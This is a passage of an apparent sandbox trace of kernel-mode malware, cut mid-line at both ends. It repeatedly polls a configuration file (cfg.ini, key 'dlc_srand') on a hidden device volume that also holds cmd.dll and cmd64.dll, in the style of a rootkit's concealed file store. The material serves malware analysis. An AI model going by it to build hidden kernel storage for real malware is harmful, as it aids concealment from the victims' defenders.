FastMutex=0xfffffa80027d3898) [0118.130] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.130] KeLeaveCriticalRegion () [0118.130] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.130] KeEnterCriticalRegion () [0118.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.130] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.130] IdePortDispatch () returned 0x103 [0118.130] KeWaitForMutexObject () returned 0x0 [0118.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.130] KeLeaveCriticalRegion () [0118.130] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.130] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.131] KeEnterCriticalRegion () [0118.131] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.131] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c71000 [0118.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.131] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.131] IdePortDispatch () returned 0x103 [0118.131] KeWaitForMutexObject () returned 0x0 [0118.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.131] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.131] IdePortDispatch () returned 0x103 [0118.131] KeWaitForMutexObject () returned 0x0 [0118.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.131] KeLeaveCriticalRegion () [0118.131] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.132] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.132] KeEnterCriticalRegion () [0118.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.132] KeLeaveCriticalRegion () [0118.132] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.132] KeEnterCriticalRegion () [0118.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.132] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.132] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.132] KeLeaveCriticalRegion () [0118.132] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.132] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.132] KeEnterCriticalRegion () [0118.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.133] ExFreePoolWithTag (P=0xfffffa80039d2e10, Tag=0x0) [0118.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.133] KeLeaveCriticalRegion () [0118.133] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.133] ReleaseMutex (hMutex=0xf0) returned 1 [0118.133] Sleep (dwMilliseconds=0x124f80) [0118.162] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.162] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.162] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.162] KeEnterCriticalRegion () [0118.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.162] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.162] IdePortDispatch () returned 0x103 [0118.163] KeWaitForMutexObject () returned 0x0 [0118.163] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.163] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.163] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.163] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.163] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.163] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039b7820 [0118.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.163] KeLeaveCriticalRegion () [0118.163] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.163] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.163] KeEnterCriticalRegion () [0118.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.163] KeLeaveCriticalRegion () [0118.163] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.163] KeEnterCriticalRegion () [0118.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.163] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.163] IdePortDispatch () returned 0x103 [0118.164] KeWaitForMutexObject () returned 0x0 [0118.164] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.164] KeLeaveCriticalRegion () [0118.164] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.164] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.164] KeEnterCriticalRegion () [0118.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8e000 [0118.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.164] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.164] IdePortDispatch () returned 0x103 [0118.165] KeWaitForMutexObject () returned 0x0 [0118.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.165] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.165] IdePortDispatch () returned 0x103 [0118.165] KeWaitForMutexObject () returned 0x0 [0118.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.165] KeLeaveCriticalRegion () [0118.165] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.166] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.166] KeEnterCriticalRegion () [0118.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.166] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.166] KeLeaveCriticalRegion () [0118.166] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.166] KeEnterCriticalRegion () [0118.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.166] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.166] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800385cf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.166] KeLeaveCriticalRegion () [0118.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.166] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.166] KeEnterCriticalRegion () [0118.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.166] ExFreePoolWithTag (P=0xfffffa80039b7820, Tag=0x0) [0118.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.166] KeLeaveCriticalRegion () [0118.166] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.166] ReleaseMutex (hMutex=0xf0) returned 1 [0118.166] Sleep (dwMilliseconds=0x124f80) [0118.184] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.184] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.184] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.184] KeEnterCriticalRegion () [0118.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.184] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.184] IdePortDispatch () returned 0x103 [0118.184] KeWaitForMutexObject () returned 0x0 [0118.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.185] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.185] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.185] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.185] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.185] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ada130 [0118.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.185] KeLeaveCriticalRegion () [0118.185] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.185] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.185] KeEnterCriticalRegion () [0118.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.185] KeLeaveCriticalRegion () [0118.185] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.185] KeEnterCriticalRegion () [0118.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.185] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.185] IdePortDispatch () returned 0x103 [0118.186] KeWaitForMutexObject () returned 0x0 [0118.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.186] KeLeaveCriticalRegion () [0118.186] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.186] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.186] KeEnterCriticalRegion () [0118.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c94000 [0118.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.186] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.186] IdePortDispatch () returned 0x103 [0118.187] KeWaitForMutexObject () returned 0x0 [0118.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.187] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.187] IdePortDispatch () returned 0x103 [0118.187] KeWaitForMutexObject () returned 0x0 [0118.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.187] KeLeaveCriticalRegion () [0118.187] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.188] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.188] KeEnterCriticalRegion () [0118.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.188] KeLeaveCriticalRegion () [0118.188] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.188] KeEnterCriticalRegion () [0118.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.188] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.188] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.188] KeLeaveCriticalRegion () [0118.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.188] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.188] KeEnterCriticalRegion () [0118.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.188] ExFreePoolWithTag (P=0xfffffa8003ada130, Tag=0x0) [0118.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.188] KeLeaveCriticalRegion () [0118.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.188] ReleaseMutex (hMutex=0xf0) returned 1 [0118.188] Sleep (dwMilliseconds=0x124f80) [0118.206] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.206] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.206] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.206] KeEnterCriticalRegion () [0118.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.206] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.206] IdePortDispatch () returned 0x103 [0118.207] KeWaitForMutexObject () returned 0x0 [0118.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.207] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.207] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.207] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.207] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.207] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.207] KeLeaveCriticalRegion () [0118.207] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.207] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.207] KeEnterCriticalRegion () [0118.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.207] KeLeaveCriticalRegion () [0118.207] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.207] KeEnterCriticalRegion () [0118.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.207] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.207] IdePortDispatch () returned 0x103 [0118.208] KeWaitForMutexObject () returned 0x0 [0118.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.208] KeLeaveCriticalRegion () [0118.208] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.208] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.208] KeEnterCriticalRegion () [0118.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c99000 [0118.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.208] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.208] IdePortDispatch () returned 0x103 [0118.209] KeWaitForMutexObject () returned 0x0 [0118.209] _strnicmp (_Str1="cfg.ini", 